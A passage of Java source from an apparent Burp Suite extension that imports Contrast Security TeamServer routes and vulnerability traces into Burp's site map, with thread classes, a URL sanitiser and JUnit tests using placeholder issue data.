64 | TSCreds newCred = new TSCreds(getSanitisedTSURL(),apiKey.get().getApi_key(),serviceKey.get().getService_key(),serviceKey.get().getUser_uid(),org.getOrgUuid());
65 | dataModel.getTsCreds().add(newCred);
66 | credsAdded = true;
67 | Components.getSaveCredsFile().setEnabled(true);
68 |
69 | }
70 | }
71 | }
72 | }
73 | }
74 | }
75 | } catch (Exception e) {
76 | StatusUpdater.updateStatus(Status.ERROR,dataModel);
77 | throw new RuntimeException(e);
78 | }
79 | if(!credsAdded) {
80 | StatusUpdater.updateStatus(Status.ERROR,dataModel);
81 | logger.logError("Unable to retrieve credentials");
82 | Components.getCredentialsStatusLabel().setText(Status.ERROR.getStatus());
83 | Components.getStatusLabel().setText(Status.ERROR.getStatus());
84 |
85 | } else {
86 | StatusUpdater.updateStatus(Status.READY,dataModel);
87 | enableButtons();
88 | refreshOrgIDS(callbacks);
89 | Components.getStatusLabel().setText(Status.READY.getStatus());
90 | Components.getCredentialsStatusLabel().setText(Status.READY.getStatus());
91 | }
92 |
93 | }
94 |
95 | private String getSanitisedTSURL() throws MalformedURLException {
96 | return TSURLSanitiser.getSanitisedURL(tsURL,logger);
97 | }
98 |
99 | private boolean validateCookie(Optional cookie) {
100 | if(cookie.isPresent()&&cookie.get().getValue()!=null&&!cookie.get().getValue().isEmpty()) {
101 | return true;
102 | } else {
103 | return false;
104 | }
105 | }
106 |
107 | @Override
108 | public void notifyThread() {
109 |
110 | }
111 | }
112 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/threads/ImportRoutesToSiteMapThread.java:
--------------------------------------------------------------------------------
1 | package com.contrast.threads;
2 |
3 | import burp.Components;
4 | import burp.DataModel;
5 | import burp.IBurpExtenderCallbacks;
6 | import burp.PortResolver;
7 | import burp.SiteMapImporter;
8 | import burp.Status;
9 | import burp.StatusUpdater;
10 | import com.contrast.Logger;
11 | import com.contrast.TSReader;
12 |
13 | public class ImportRoutesToSiteMapThread extends StoppableThread {
14 |
15 | private final TSReader reader;
16 | private final DataModel dataModel;
17 | private final Logger logger;
18 | private final IBurpExtenderCallbacks callbacks;
19 | private boolean stop = false;
20 |
21 | public ImportRoutesToSiteMapThread(TSReader reader, DataModel dataModel, Logger logger, IBurpExtenderCallbacks callbacks) {
22 | this.reader = reader;
23 | this.dataModel = dataModel;
24 | this.logger = logger;
25 | this.callbacks = callbacks;
26 | }
27 |
28 | @Override
29 | public void run() {
30 | StatusUpdater.updateStatus(Status.LOADING,dataModel);
31 | new SiteMapImporter(dataModel,callbacks,logger,reader).importSiteMapToBurp(
32 | Components.getOrgsCombo().getSelectedItem().toString(),
33 | Components.getAppCombo().getSelectedItem().toString(),
34 | Components.getHostNameField().getText(),
35 | PortResolver.getPort(),
36 | Components.getProtocolCombo().getSelectedItem().toString(),
37 | Components.getAppContextField().getText()
38 | );
39 | StatusUpdater.updateStatus(Status.READY,dataModel);
40 | }
41 |
42 |
43 | @Override
44 | public void notifyThread() {
45 | this.stop = true;
46 | }
47 | }
48 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/threads/RefreshAppIDsThread.java:
--------------------------------------------------------------------------------
1 | package com.contrast.threads;
2 |
3 | import burp.Components;
4 | import burp.DataModel;
5 | import burp.Status;
6 | import burp.StatusUpdater;
7 | import com.contrast.Logger;
8 | import com.contrast.SortByAppNameComparator;
9 | import com.contrast.SortByLastSeenComparator;
10 | import com.contrast.SortType;
11 | import com.contrast.TSReader;
12 | import com.contrastsecurity.models.Application;
13 |
14 | import java.io.IOException;
15 | import java.util.List;
16 | import java.util.Objects;
17 |
18 | public class RefreshAppIDsThread extends StoppableThread {
19 |
20 | private final TSReader reader;
21 | private final DataModel dataModel;
22 | private final Logger logger;
23 |
24 | public RefreshAppIDsThread(TSReader reader, DataModel dataModel,Logger logger) {
25 | this.reader = reader;
26 | this.dataModel = dataModel;
27 | this.logger = logger;
28 | }
29 |
30 |
31 | @Override
32 | public void run() {
33 | StatusUpdater.updateStatus(Status.LOADING,dataModel);
34 | try {
35 | List applications = reader.getApplications(Objects.requireNonNull(Components.getOrgsCombo().getSelectedItem()).toString());
36 | applications.forEach(application -> dataModel.getAppNameIDMap().put(application.getName(), application.getId()));
37 | if(dataModel.getSortType().equals(SortType.SORT_BY_NAME)) {
38 | applications.sort(new SortByAppNameComparator());
39 | } else {
40 | applications.sort(new SortByLastSeenComparator());
41 | }
42 | applications.forEach(application -> Components.getAppCombo().addItem(application.getName()));
43 | } catch (IOException e) {
44 | StatusUpdater.updateStatus(Status.ERROR,dataModel);
45 | logger.logException("Unable to retrieve applications",e);
46 | throw new RuntimeException(e);
47 | }
48 | StatusUpdater.updateStatus(Status.READY,dataModel);
49 | }
50 |
51 |
52 |
53 | @Override
54 | public void notifyThread() {
55 |
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/threads/RefreshOrgIDsThread.java:
--------------------------------------------------------------------------------
1 | package com.contrast.threads;
2 |
3 | import burp.Components;
4 | import burp.DataModel;
5 | import burp.Status;
6 | import burp.StatusUpdater;
7 | import com.contrast.Logger;
8 | import com.contrast.TSReader;
9 | import com.contrastsecurity.models.Organization;
10 |
11 | import javax.swing.*;
12 | import java.util.List;
13 | import java.util.stream.Collectors;
14 |
15 | public class RefreshOrgIDsThread extends StoppableThread {
16 |
17 | private final TSReader reader;
18 | private final DataModel dataModel;
19 | private final Logger logger;
20 |
21 | public RefreshOrgIDsThread(TSReader reader, DataModel dataModel, Logger logger) {
22 | this.reader = reader;
23 | this.dataModel = dataModel;
24 | this.logger = logger;
25 | }
26 |
27 | @Override
28 | public void run() {
29 | try {
30 | StatusUpdater.updateStatus(Status.LOADING,dataModel);
31 | List orgIds = reader.getOrgs().stream().map(Organization::getOrgUuid).collect(Collectors.toList());
32 | orgIds.forEach(item-> Components.getOrgsCombo().addItem(item));
33 | RefreshAppIDsThread appIDsThread = new RefreshAppIDsThread(reader,dataModel,logger);
34 | dataModel.getThreadManager().addToThreadList(appIDsThread);
35 | dataModel.getThreadManager().getExecutor().execute(appIDsThread);
36 | StatusUpdater.updateStatus(Status.READY,dataModel);
37 | Components.getCredentialsStatusLabel().setText(Status.READY.getStatus());
38 | } catch (Exception e) {
39 | StatusUpdater.updateStatus(Status.ERROR,dataModel);
40 | JOptionPane.showMessageDialog(null, e+
41 | "\n" +
42 | "Most likely this is due to incorrect credentials in your credentials file." +
43 | "\n" +
44 | "See Error log under extensions -> Errors for further details.");
45 | logger.logException("Error occurred while refreshing org list",e);
46 | StatusUpdater.updateStatus(Status.ERROR,dataModel);
47 | Components.getCredentialsStatusLabel().setText(Status.ERROR.getStatus());
48 |
49 | throw new RuntimeException(e);
50 | }
51 | }
52 |
53 |
54 |
55 | @Override
56 | public void notifyThread() {}
57 | }
58 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/threads/StoppableThread.java:
--------------------------------------------------------------------------------
1 | package com.contrast.threads;
2 |
3 | public abstract class StoppableThread extends Thread{
4 |
5 | public abstract void notifyThread();
6 |
7 | }
8 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/threads/TSURLSanitiser.java:
--------------------------------------------------------------------------------
1 | package com.contrast.threads;
2 |
3 | import com.contrast.Logger;
4 |
5 | import java.net.MalformedURLException;
6 | import java.net.URL;
7 | import java.util.Locale;
8 |
9 | public class TSURLSanitiser {
10 |
11 |
12 | public static String getSanitisedURL(String tsURL, Logger logger) throws MalformedURLException {
13 | logger.logMessage("Original TS URL : " +tsURL);
14 | String lowerCase = tsURL.toLowerCase(Locale.ROOT);
15 | if(!(lowerCase.startsWith("https://")||lowerCase.startsWith("http://"))) {
16 | tsURL = "https://"+tsURL;
17 | }
18 | URL url = new URL(tsURL);
19 | if(url.getPath()==null||url.getPath().equals("")||url.getPath().equals("/")) {
20 | if(tsURL.endsWith("/")) {
21 | tsURL = tsURL+"Contrast";
22 | } else {
23 | tsURL = tsURL+"/Contrast";
24 | }
25 | }
26 | if(url.getPath().endsWith("/Contrast/")) {
27 | tsURL = tsURL.substring(0,tsURL.length()-1);
28 | }
29 | logger.logMessage("Sanitised TS URL : " +tsURL);
30 | return tsURL;
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/threads/UpdateRouteTableThread.java:
--------------------------------------------------------------------------------
1 | package com.contrast.threads;
2 |
3 | import burp.Components;
4 | import burp.DataModel;
5 | import burp.PathTracePair;
6 | import burp.Status;
7 | import burp.StatusUpdater;
8 | import burp.VulnTableResult;
9 | import com.contrast.Logger;
10 | import com.contrast.TSReader;
11 | import com.contrast.model.Route;
12 | import com.contrast.model.RouteCoverage;
13 | import com.contrast.model.RouteCoverageObservationResource;
14 | import com.contrast.model.Routes;
15 | import com.contrast.model.TraceIDDecoractedHttpRequestResponse;
16 | import com.contrast.threads.StoppableThread;
17 | import com.contrastsecurity.models.Chapter;
18 | import com.contrastsecurity.models.HttpRequestResponse;
19 | import com.contrastsecurity.models.Story;
20 | import com.contrastsecurity.models.StoryResponse;
21 | import com.contrastsecurity.models.Trace;
22 |
23 | import java.io.IOException;
24 | import java.util.ArrayList;
25 | import java.util.Date;
26 | import java.util.HashMap;
27 | import java.util.HashSet;
28 | import java.util.List;
29 | import java.util.Map;
30 | import java.util.Optional;
31 | import java.util.Set;
32 | import java.util.concurrent.ExecutionException;
33 | import java.util.concurrent.Future;
34 |
35 | public class UpdateRouteTableThread extends StoppableThread {
36 |
37 |
38 | private final TSReader reader;
39 | private final DataModel dataModel;
40 | private final String orgID;
41 | private final String appID;
42 | private final Logger logger;
43 | private boolean stop = false;
44 |
45 | public UpdateRouteTableThread(TSReader reader, DataModel dataModel, String orgID, String appID, Logger logger) {
46 | this.reader = reader;
47 | this.dataModel = dataModel;
48 | this.orgID = orgID;
49 | this.appID = appID;
50 | this.logger = logger;
51 | }
52 |
53 |
54 | @Override
55 | public void run() {
56 | try {
57 | StatusUpdater.updateStatus(Status.LOADING,dataModel);
58 | Optional routes = reader.getRoutes(orgID, appID);
59 | if (routes.isPresent()&&!stop) {
60 | Map>> routeFutureMap = new HashMap<>();
61 | for (Route route : routes.get().getRoutes()) {
62 | if(stop) {
63 | break;
64 | }
65 | String routeID = route.getRoute_hash();
66 | routeFutureMap.put(route, reader.getCoverageForTrace(orgID, appID, routeID));
67 |
68 | }
69 | for(Route route : routeFutureMap.keySet()) {
70 | if(stop) {
71 | break;
72 | }
73 | Optional result = routeFutureMap.get(route).get();
74 | dataModel.getRouteCoverageMap().put(route,result);
75 | if(result.isPresent() ) {
76 | int i =0;
77 | for(RouteCoverageObservationResource observationResource : result.get().getObservations() ) {
78 | if(stop) {
79 | break;
80 | }
81 | dataModel.getRouteTableModel().addRow(new Object[]{true,observationResource.getUrl(),observationResource.getVerb(),false,getLastExercisedDate(route)});
82 | i++;
83 | if(i%5==0) {
84 | Components.getRouteTable().updateUI();
85 | }
86 | }
87 | Components.getRouteTable().updateUI();
88 | }
89 | }
90 | }
91 | List> futureReqResponses = new ArrayList<>();
92 | for (Trace trace : dataModel.getTraces()) {
93 | if(stop) {
94 | break;
95 | }
96 | futureReqResponses.add(reader.getHttpRequest(orgID,trace.getUuid()));
97 | }
98 | int futureCount = 0;
99 | for(Future futureReqRes : futureReqResponses) {
100 | if(stop) {
101 | break;
102 | }
103 | HttpRequestResponse hreqRes = futureReqRes.get().getRequestResponse();
104 | dataModel.getVulnRequests().add(futureReqRes.get());
105 | Optional vulnTableResult = getVulnTableResult(hreqRes);
106 | if(vulnTableResult.isPresent()) {
107 | dataModel.getRouteTableModel().addRow(new Object[]{true,vulnTableResult.get().getUrl(), vulnTableResult.get().getVerb(), true,""});
108 | futureCount++;
109 | if(futureCount%5==0) {
110 | Components.getRouteTable().updateUI();
111 | }
112 | }
113 | }
114 | Components.getRouteTable().updateUI();
115 | int traceCount = 0;
116 | for(PathTracePair pathTracePair : getPathsFromNonRequestVulns(orgID,reader)) {
117 | if(stop) {
118 | break;
119 | }
120 | String path = pathTracePair.getPath();
121 | boolean isFound = false;
122 | for( int i = 0; i < dataModel.getRouteTableModel().getRowCount(); i++) {
123 | if(stop) {
124 | break;
125 | }
126 | String tablePath = dataModel.getRouteTableModel().getValueAt(i,1).toString();
127 | if(tablePath.equals(path)) {
128 | isFound = true;
129 | break;
130 | }
131 | }
132 | if(!isFound) {
133 | dataModel.getRouteTableModel().addRow(new Object[]{true,path, "", true,""});
134 | traceCount++;
135 | if(traceCount%5==0) {
136 | Components.getRouteTable().updateUI();
137 | }
138 | }
139 | addNonRequestVulnToMap(path,pathTracePair.getTrace());
140 | }
141 | Components.getRouteTable().updateUI();
142 | } catch (IOException | InterruptedException | ExecutionException e) {
143 | StatusUpdater.updateStatus(Status.ERROR,dataModel);
144 | throw new RuntimeException(e);
145 | }
146 | updateRouteCoverageStats();
147 | StatusUpdater.updateStatus(Status.READY,dataModel);
148 | }
149 |
150 | private void updateRouteCoverageStats() {
151 | int routeCount = dataModel.getRouteCoverageMap().keySet().size();
152 | int exercisedCount = 0;
153 | for(Route route : dataModel.getRouteCoverageMap().keySet()) {
154 | if(!(route.getExercised()==null||route.getExercised()==0)) {
155 | exercisedCount++;
156 | }
157 | }
158 | if(exercisedCount!=0) {
159 | Components.getRouteStatsLabel().setText("Routes: " + routeCount + " | Exercised: " + exercisedCount + " | Percentage Exercised : " + ((exercisedCount * 100) / routeCount)+"%");
160 | } else {
161 | Components.getRouteStatsLabel().setText("Routes: " + routeCount + " | Exercised: " + exercisedCount + " | Percentage Exercised : 0%" );
162 | }
163 | Components.getRouteStatsLabel().updateUI();
164 | }
165 |
166 | private void addNonRequestVulnToMap(String path,Trace trace) {
167 | if(dataModel.getNonRequestPathVulnMap().containsKey(path)) {
168 | dataModel.getNonRequestPathVulnMap().get(path).add(trace);
169 | } else {
170 | Set traceSet = new HashSet<>();
171 | traceSet.add(trace);
172 | dataModel.getNonRequestPathVulnMap().put(path,traceSet);
173 | }
174 | }
175 |
176 |
177 | private String getLastExercisedDate(Route route) {
178 | Long lastExercised = route.getExercised();
179 | if(lastExercised==null) {
180 | return "";
181 | } else {
182 | String dateString = new Date(lastExercised).toString();
183 | dataModel.getFormattedDateMap().put(dateString,lastExercised);
184 | return dateString;
185 | }
186 | }
187 |
188 | private Optional getVulnTableResult(HttpRequestResponse hreqRes) {
189 | if(hreqRes.getHttpRequest()!=null) {
190 | String text = hreqRes.getHttpRequest().getText();
191 | if(text.contains(" ")&&text.contains(" HTTP")) {
192 | String verb = text.split(" ")[0];
193 | String url = text.substring(text.indexOf(" ")).split(" HTTP")[0];
194 | return Optional.of(new VulnTableResult(url,verb));
195 | }
196 | }
197 | return Optional.empty();
198 | }
199 |
200 | private List getPathsFromNonRequestVulns(String orgID,TSReader reader) throws IOException {
201 | List paths = new ArrayList<>();
202 | for (Trace trace : dataModel.getTraces()) {
203 | StoryResponse response = getStoryResponse(orgID, trace.getUuid(), reader);
204 | Story story = response.getStory();
205 | if (story.getChapters() != null) {
206 | Optional chapter = story.getChapters().stream().filter(chp -> "properties".equals(chp.getType())).findFirst();
207 | if (chapter.isPresent() && chapter.get().getPropertyResources() != null && !chapter.get().getPropertyResources().isEmpty()) {
208 | paths.add(new PathTracePair(chapter.get().getPropertyResources().get(0).getName(), trace));
209 | }
210 | }
211 | }
212 | return paths;
213 | }
214 |
215 | private StoryResponse getStoryResponse(String orgID, String traceID,TSReader reader) throws IOException {
216 | if(!dataModel.getTraceIDStoryMap().containsKey(traceID)) {
217 | reader.getStory(orgID,traceID).ifPresent(response -> dataModel.getTraceIDStoryMap().put(traceID,response));
218 | }
219 | return dataModel.getTraceIDStoryMap().get(traceID);
220 | }
221 |
222 |
223 |
224 | @Override
225 | public void notifyThread() {
226 | this.stop = true;
227 | }
228 | }
229 |
--------------------------------------------------------------------------------
/src/main/java/com/contrast/threads/UpdateTraceTableThread.java:
--------------------------------------------------------------------------------
1 | package com.contrast.threads;
2 |
3 | import burp.Components;
4 | import burp.DataModel;
5 | import burp.Status;
6 | import burp.StatusUpdater;
7 | import com.contrast.Logger;
8 | import com.contrast.TSReader;
9 | import com.contrast.threads.StoppableThread;
10 |
11 | import java.io.IOException;
12 | import java.util.Optional;
13 |
14 | public class UpdateTraceTableThread extends StoppableThread {
15 |
16 |
17 | private final TSReader reader;
18 | private final DataModel dataModel;
19 | private final String orgID;
20 | private final String appID;
21 | private final Logger logger;
22 |
23 |
24 | public UpdateTraceTableThread(TSReader reader, DataModel dataModel, String orgID, String appID, Logger logger) {
25 | this.reader = reader;
26 | this.dataModel = dataModel;
27 | this.orgID = orgID;
28 | this.appID = appID;
29 | this.logger = logger;
30 | }
31 |
32 |
33 | @Override
34 | public void run() {
35 | try {
36 | StatusUpdater.updateStatus(Status.LOADING,dataModel);
37 | dataModel.getTraces().clear();
38 | reader.getTraces(orgID,appID, Optional.of(dataModel));
39 | Components.getTraceTable().updateUI();
40 | } catch (IOException e) {
41 | StatusUpdater.updateStatus(Status.ERROR,dataModel);
42 | logger.logException("Error occurred while retrieving traces",e);
43 | throw new RuntimeException(e);
44 | }
45 | StatusUpdater.updateStatus(Status.READY,dataModel);
46 |
47 | }
48 |
49 |
50 | @Override
51 | public void notifyThread() {
52 | }
53 |
54 |
55 |
56 | }
57 |
--------------------------------------------------------------------------------
/src/test/java/burp/PortResolverTest.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import org.junit.Test;
4 |
5 | import javax.swing.*;
6 | import java.awt.*;
7 |
8 | import static org.junit.Assert.*;
9 |
10 | public class PortResolverTest {
11 |
12 | @Test
13 | public void testWithEmptyPortAndHTTP() {
14 | setup("http","");
15 | assertEquals(80,PortResolver.getPort());
16 | }
17 |
18 | @Test
19 | public void testWithEmptyPortAndHTTPS() {
20 | setup("https","");
21 | assertEquals(443,PortResolver.getPort());
22 | }
23 |
24 | @Test
25 | public void testWithNonPortAndHTTPS() {
26 | setup("https","123");
27 | assertEquals(123,PortResolver.getPort());
28 | }
29 |
30 | @Test
31 | public void testWithNonEmptyPortAndHTTP() {
32 | setup("http","123");
33 | assertEquals(123,PortResolver.getPort());
34 | }
35 |
36 | private void setup(String protocol, String port) {
37 | Components.setProtocolCombo(new JComboBox<>());
38 | Components.getProtocolCombo().addItem("http");
39 | Components.getProtocolCombo().addItem("https");
40 | Components.getProtocolCombo().setSelectedItem(protocol);
41 | Components.setPortNumberField(new TextField());
42 | Components.getPortNumberField().setText(port);
43 | }
44 |
45 |
46 | }
--------------------------------------------------------------------------------
/src/test/java/burp/RouteTableComparatorTest.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import org.junit.Test;
4 |
5 | import java.util.Date;
6 |
7 | import static org.junit.Assert.*;
8 |
9 | public class RouteTableComparatorTest {
10 |
11 |
12 | @Test
13 | public void testWithTwoDatesSame() {
14 | Date date1 = new Date(123456l);
15 | Date date2 = new Date(123456l);
16 | DataModel datamodel = new DataModel();
17 | datamodel.getFormattedDateMap().put(date1.toString(),date1.getTime());
18 | datamodel.getFormattedDateMap().put(date2.toString(),date2.getTime());
19 | RouteTableComparator comparator = new RouteTableComparator(datamodel);
20 | assertEquals(0,comparator.compare(date1,date2));
21 | }
22 |
23 | @Test
24 | public void testWithFirstOlderThanSecond() {
25 | Date date1 = new Date(123456789l);
26 | Date date2 = new Date(1l);
27 | DataModel datamodel = new DataModel();
28 | datamodel.getFormattedDateMap().put(date1.toString(),date1.getTime());
29 | datamodel.getFormattedDateMap().put(date2.toString(),date2.getTime());
30 | RouteTableComparator comparator = new RouteTableComparator(datamodel);
31 | assertEquals(1,comparator.compare(date1.toString(),date2.toString()));
32 | }
33 |
34 | @Test
35 | public void testWithFirstYoungerThanSecond() {
36 | Date date1 = new Date(1l);
37 | Date date2 = new Date(123456789l);
38 | DataModel datamodel = new DataModel();
39 | datamodel.getFormattedDateMap().put(date1.toString(),date1.getTime());
40 | datamodel.getFormattedDateMap().put(date2.toString(),date2.getTime());
41 | RouteTableComparator comparator = new RouteTableComparator(datamodel);
42 | assertEquals(-1,comparator.compare(date1.toString(),date2.toString()));
43 | }
44 |
45 | }
--------------------------------------------------------------------------------
/src/test/java/burp/TestSiteMapImporter.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import com.contrast.Logger;
4 | import com.contrast.TSCreds;
5 | import com.contrast.TSReader;
6 | import com.contrast.mapper.ConfidenceMapper;
7 | import com.contrast.mapper.IssueTypeMapper;
8 | import com.contrast.mapper.SeverityMapper;
9 | import com.contrast.model.Route;
10 | import com.contrast.model.RouteCoverage;
11 | import com.contrast.model.RouteCoverageObservationResource;
12 | import com.contrast.model.Routes;
13 | import com.contrast.model.TraceIDDecoractedHttpRequestResponse;
14 | import com.contrastsecurity.models.Chapter;
15 | import com.contrastsecurity.models.HttpRequest;
16 | import com.contrastsecurity.models.HttpRequestResponse;
17 | import com.contrastsecurity.models.Risk;
18 | import com.contrastsecurity.models.Story;
19 | import com.contrastsecurity.models.StoryResponse;
20 | import com.contrastsecurity.models.Trace;
21 | import com.google.gson.Gson;
22 | import com.google.gson.JsonObject;
23 | import org.junit.Test;
24 |
25 | import javax.swing.table.DefaultTableModel;
26 | import java.io.PrintWriter;
27 | import java.util.ArrayList;
28 | import java.util.Arrays;
29 | import java.util.Collections;
30 | import java.util.List;
31 | import java.util.Optional;
32 |
33 | import static org.junit.Assert.assertEquals;
34 | import static org.junit.Assert.assertTrue;
35 |
36 | public class TestSiteMapImporter {
37 |
38 |
39 | @Test
40 | public void testWithOneVulnRouteSelected() {
41 | String orgID = "randomorgid";
42 | String appName = "test-app";
43 | String appID = "randomappid";
44 | String hostName = "localhost";
45 | int port = 8080;
46 | String protocol = "http";
47 | String appcontext = "/flibber";
48 | TestableCallBack callBack = new TestableCallBack();
49 | DataModel model = getDataModel(appName,appID);
50 | model.getTraces().addAll(getTraces());
51 | getStories().forEach(storyResponse -> model.getTraceIDStoryMap().put(storyResponse.getStory().getTraceId(),storyResponse));
52 | model.setRouteTableModel(getTable(Arrays.asList("/path1","/path2","/path3"),Arrays.asList("/path1"),Arrays.asList("GET","GET","GET")));
53 | model.getVulnRequests().addAll(getVulnRequests());
54 | SiteMapImporter siteMapImporter = new SiteMapImporter(model,callBack,getSystemOutLogger(),getTestTSReader(Optional.empty()));
55 | siteMapImporter.importSiteMapToBurp(orgID,appName,hostName,port,protocol,appcontext);
56 | assertEquals(1,callBack.getScanIssues().size());
57 | assertEquals(1,callBack.getRequestResponses().size());
58 | assertEquals("sql injection : Found by Assess", callBack.getScanIssues().get(0).getIssueName());
59 | assertEquals(IssueTypeMapper.SQL_INJECTION.getBurpType().intValue(), callBack.getScanIssues().get(0).getIssueType());
60 | assertEquals("risk text", callBack.getScanIssues().get(0).getIssueBackground());
61 | assertEquals("" +
62 | "Vulnerability Details chapter type message body intro text ",
63 | callBack.getScanIssues().get(0).getIssueDetail());
64 | assertEquals(SeverityMapper.MEDIUM.getBurpSeverity(),callBack.getScanIssues().get(0).getSeverity());
65 | assertEquals(ConfidenceMapper.CERTAIN.getBurpConfidence(),callBack.getScanIssues().get(0).getConfidence());
66 | }
67 |
68 | @Test
69 | public void testWithAllVulnRouteSelected() {
70 | String orgID = "randomorgid";
71 | String appName = "test-app";
72 | String appID = "randomappid";
73 | String hostName = "localhost";
74 | int port = 8080;
75 | String protocol = "http";
76 | String appcontext = "/flibber";
77 | TestableCallBack callBack = new TestableCallBack();
78 | DataModel model = getDataModel(appName,appID);
79 | model.getTraces().addAll(getTraces());
80 | getStories().forEach(storyResponse -> model.getTraceIDStoryMap().put(storyResponse.getStory().getTraceId(),storyResponse));
81 | model.setRouteTableModel(getTable(Arrays.asList("/path1","/path2","/path3"),Arrays.asList("/path1","/path2","/path3"),Arrays.asList("GET","GET","GET")));
82 | model.getVulnRequests().addAll(getVulnRequests());
83 | SiteMapImporter siteMapImporter = new SiteMapImporter(model,callBack,getSystemOutLogger(),getTestTSReader(Optional.empty()));
84 | siteMapImporter.importSiteMapToBurp(orgID,appName,hostName,port,protocol,appcontext);
85 |
86 | assertEquals(3,callBack.getScanIssues().size());
87 | assertEquals(3,callBack.getRequestResponses().size());
88 | }
89 |
90 | @Test
91 | public void testWithARouteSelected() {
92 | String orgID = "randomorgid";
93 | String appName = "test-app";
94 | String appID = "randomappid";
95 | String hostName = "localhost";
96 | int port = 8080;
97 | String protocol = "http";
98 | String appcontext = "/flibber";
99 | TestableCallBack callBack = new TestableCallBack();
100 | DataModel model = getDataModel(appName,appID);
101 | model.getTraces().addAll(getTraces());
102 | getStories().forEach(storyResponse -> model.getTraceIDStoryMap().put(storyResponse.getStory().getTraceId(),storyResponse));
103 | model.setRouteTableModel(getTable(Arrays.asList("/route1","/route2","/route3"),Arrays.asList("/route1"),Arrays.asList("GET","GET","POST")));
104 | model.getVulnRequests().addAll(getVulnRequests());
105 | addRoutes(model);
106 | SiteMapImporter siteMapImporter = new SiteMapImporter(model,callBack,getSystemOutLogger(),getTestTSReader(Optional.empty()));
107 | siteMapImporter.importSiteMapToBurp(orgID,appName,hostName,port,protocol,appcontext);
108 |
109 | assertEquals(1,callBack.getRequestResponses().size());
110 | assertTrue(new String(callBack.getRequestResponses().get(0).getRequest()).startsWith("GET /flibber/route1"));
111 | }
112 |
113 | @Test
114 | public void testWithAllRouteSelected() {
115 | String orgID = "randomorgid";
116 | String appName = "test-app";
117 | String appID = "randomappid";
118 | String hostName = "localhost";
119 | int port = 8080;
120 | String protocol = "http";
121 | String appcontext = "/flibber";
122 | TestableCallBack callBack = new TestableCallBack();
123 | DataModel model = getDataModel(appName,appID);
124 | model.getTraces().addAll(getTraces());
125 | getStories().forEach(storyResponse -> model.getTraceIDStoryMap().put(storyResponse.getStory().getTraceId(),storyResponse));
126 | model.setRouteTableModel(getTable(Arrays.asList("/route1","/route2","/route3"),Arrays.asList("/route1","/route2","/route3"),Arrays.asList("GET","GET","POST")));
127 | model.getVulnRequests().addAll(getVulnRequests());
128 | addRoutes(model);
129 | SiteMapImporter siteMapImporter = new SiteMapImporter(model,callBack,getSystemOutLogger(),getTestTSReader(Optional.empty()));
130 | siteMapImporter.importSiteMapToBurp(orgID,appName,hostName,port,protocol,appcontext);
131 |
132 | assertEquals(3,callBack.getRequestResponses().size());
133 | assertTrue(new String(callBack.getRequestResponses().get(0).getRequest()).startsWith("GET /flibber/route1"));
134 | assertTrue(new String(callBack.getRequestResponses().get(1).getRequest()).startsWith("GET /flibber/route2"));
135 | assertTrue(new String(callBack.getRequestResponses().get(2).getRequest()).startsWith("POST /flibber/route3"));
136 |
137 | }
138 |
139 | private void addRoutes(DataModel dataModel) {
140 | Route route1 = new Route();
141 | route1.setRoute_hash("route1");
142 | RouteCoverage routeCoverage1 = new RouteCoverage();
143 | List observationResources1 = new ArrayList<>();
144 | routeCoverage1.setObservations(observationResources1);
145 | observationResources1.add(getObservationResource("/route1","GET"));
146 | observationResources1.add(getObservationResource("/route2","GET"));
147 | observationResources1.add(getObservationResource("/route3","POST"));
148 | dataModel.getRouteCoverageMap().put(route1,Optional.of(routeCoverage1));
149 | }
150 |
151 | private RouteCoverageObservationResource getObservationResource(String url, String verb) {
152 | RouteCoverageObservationResource observationResource = new RouteCoverageObservationResource();
153 | observationResource.setUrl(url);
154 | observationResource.setVerb(verb);
155 | return observationResource;
156 |
157 | }
158 |
159 | private List getStories() {
160 | return Arrays.asList(getStoryResponse("path1","risk text","chapter type","message body","intro text"),
161 | getStoryResponse("path2","risk text2","chapter type2","message body2","intro text2"),
162 | getStoryResponse("path3","risk text3","chapter type3","message body3","intro text3"));
163 | }
164 |
165 | private StoryResponse getStoryResponse(String id, String riskText, String chapterType, String chapterIntro,String chapterBody ) {
166 | StoryResponse response1 = new StoryResponse();
167 | Story story1 = new Story();
168 | response1.setStory(story1);
169 | story1.setTraceId(id);
170 | Risk risk1 = new Risk();
171 | risk1.setText(riskText);
172 | story1.setRisk(risk1);
173 | Chapter chapter1 = new Chapter();
174 | chapter1.setType(chapterType);
175 | chapter1.setBody(chapterBody);
176 | chapter1.setIntroText(chapterIntro);
177 | story1.setChapters(Arrays.asList(chapter1));
178 | return response1;
179 | }
180 |
181 | private List getTraces() {
182 | return Arrays.asList(
183 | getTrace("path1","sql-injection","sql injection",
184 | SeverityMapper.MEDIUM.getContrastSeverity().get(0),
185 | ConfidenceMapper.CERTAIN.getContrastConfidence().get(0)),
186 | getTrace("path2", IssueTypeMapper.HEADER_INJECTION.getContrastType(),"Header Injection",
187 | SeverityMapper.MEDIUM.getContrastSeverity().get(0),
188 | ConfidenceMapper.CERTAIN.getContrastConfidence().get(0)),
189 | getTrace("path3", IssueTypeMapper.COMMAND_INJECTION.getContrastType(),"Command Injection",
190 | SeverityMapper.MEDIUM.getContrastSeverity().get(0),
191 | ConfidenceMapper.CERTAIN.getContrastConfidence().get(0))
192 | );
193 | }
194 |
195 | private Trace getTrace(String traceID, String issueType, String title,String severity,String likelihood) {
196 | Gson gson = new Gson();
197 | JsonObject jsonObject = new JsonObject();
198 | jsonObject.addProperty("uuid",traceID);
199 | jsonObject.addProperty("rule_name",issueType);
200 | jsonObject.addProperty("title",title);
201 | jsonObject.addProperty("severity",severity);
202 | jsonObject.addProperty("likelihood",likelihood);
203 | return gson.fromJson(jsonObject, Trace.class);
204 | }
205 |
206 | private List getVulnRequests() {
207 | List vulns = new ArrayList<>();
208 | vulns.add(new TraceIDDecoractedHttpRequestResponse("path1",getRequestResponse("/path1")));
209 | vulns.add(new TraceIDDecoractedHttpRequestResponse("path2",getRequestResponse("/path2")));
210 | vulns.add(new TraceIDDecoractedHttpRequestResponse("path3",getRequestResponse("/path3")));
211 |
212 | return vulns;
213 | }
214 |
